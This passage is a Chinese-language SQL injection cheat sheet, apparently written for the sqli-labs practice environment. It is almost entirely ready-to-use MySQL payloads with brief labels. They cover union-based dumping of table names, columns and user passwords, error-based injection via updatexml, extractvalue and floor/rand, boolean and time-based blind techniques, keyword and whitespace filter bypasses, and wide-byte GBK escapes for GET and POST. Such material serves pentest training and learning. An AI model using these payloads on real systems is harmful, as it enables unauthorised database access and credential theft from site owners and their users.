?id=1') and 0 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()
查列名
1
?id=1') and 0 union select 1,group_concat(column_name),3 from information_schema.columns where table_name="users" and table_schema=database()
查值
1
?id=1') and 0 union select 1,group_concat(id,0x7e,password,0x7e,username),3 from users
有数据库的报错,
报错注入
updatexml
updatexml 报错表名
1
?id=1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 3,1)),1)--+
updatexml 报错列名
1
?id=1' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 2,1)),1)--+
updatexml 报错值(依次查询报错)
1
?id=1' and updatexml(1,concat(0x7e,(select password from users limit 0,1)),1)--+
报错密码或者数据过长时,用 substring()
1
updatexml(1,concat(0x7e,substring((select password from users limit 0,1), 32)),0)--+
extractvalue
extractvalue 报错库名
1
?id=1' and extractvalue(1,concat(0x7e,database()))--+
extractvalue 报错表名
1
?id=1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())))--+
extractvalue 报错列名
1
?id=1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users')))--+
extractvalue 报错值
1
?id=1' and extractvalue(1,(select group_concat(0x7e,id,0x7e,username,0x7e,password) from users))--+
group_concat 放不下时,可采用 limit 截断分开查询
floor
前提:知道有多少字段数
爆破库
1
?id=-1' union select 1,count(*),concat(0x7e(database()),0x7e,floor(rand(0)*2))x from information_schema.tables group by x--+
爆破表名
1 2 3
?id=-1' union select 1,count(*),concat(0x7e,(select (table_name)from information_schema.tables where table_schema=database() limit 0,1),0x7e,floor(rand(0)*2))x from information_schema.tables group by x--+
爆破字段
1 2 3
?id=-1' union select 1,count(*),concat(0x7e,(select (column_name)from information_schema.columns where table_name='users' limit 0,1),0x7e,floor(rand(0)*2))x from information_schema.tables group by x--+
爆破内容
1 2
?id=-1' union select 1,count(*),concat(0x7e,(select (username)from users limit 0,1),0x7e,floor(rand(0)*2))x from information_schema.tables group by x--+
布尔盲注
1 2 3 4 5 6 7 8 9 10
猜解数据库名字长度 ?id=-1' or length(database())=7--+
猜解数据库字符 ?id=-1' or ascii(substr(database(),1,1))=115 或 ?id=-1' or ascii(mid(database(),1,1))=115--+ 或 ?id=-1' or mid(database(),1,1)='s'--+
同样猜表名与字段名 ?id=-1' or ascii(mid(select (table_name) from information_schema.tables where table_schema=database() limit 1,1))=?--+
脚本
1
时间盲注
1
?id=-1' or if(length(database())=8,sleep(5),0)--+
响应时间变长说明条件正确
过滤绕过
and or 过滤
1 2 3 4
重写
oorr 或 || anandd 或 &&
空格注释过滤了
1 2 3 4 5
and 和 or 用 && || 代替,&& 时需要编码一下 # -- 闭合逃逸 /s == 括号 空格 ---> %0a
?id=1&id=0' union select 1,2,(select group_concat(column_name)from information_schema.columns where table_schema=database() and table_name='users')--+
?id=1&id=0' union select 1,2,(select concat_ws(username,0x7e,password)from security.users limit 0,1)--+
有转义
宽字节
宽字节注入,利用 mysql 使用 GBK 编码,将两个字符看作一个汉字的特性,消除转义符号””,使单引号
成功逃逸出来。这也是黑盒测试需要检测的一个点
1 2 3 4 5 6 7 8 9 10 11 12 13
get 型宽字节检验 payload ?id=1%df' and 1=1--+
判断字段数 ?id=1%df' and 1=1 order by 4--+ 找回显,信息收集 ?id=1%df' and 1=2 union select 1,database(),3--+ 爆破数据库表 ?id=1%df' and 1=2 union select 1,2,group_concat(table_name)from information_schema.tables where table_schema=database()--+ 爆破字段内容:因为 'users' 中单引号会被转义,因此采取十六进制代替 'users' ?id=1%df' and 1=2 union select 1,2,group_concat(column_name)from information_schema.columns where table_name=0x27757365727327--+
post 提交
不能使用 url 编码,但是可以使用十六进制编码绕过,但是需要使用三个字节,最好的
办法是是使用汉字(一些汉字是三个字节的就可以将后面的 \ 消耗)
post 中
1 2
uname= 汉 ' or updatexml(1,concat(0x7e,database(),0x7e),1)-- +&passwd=admin&submit=Submit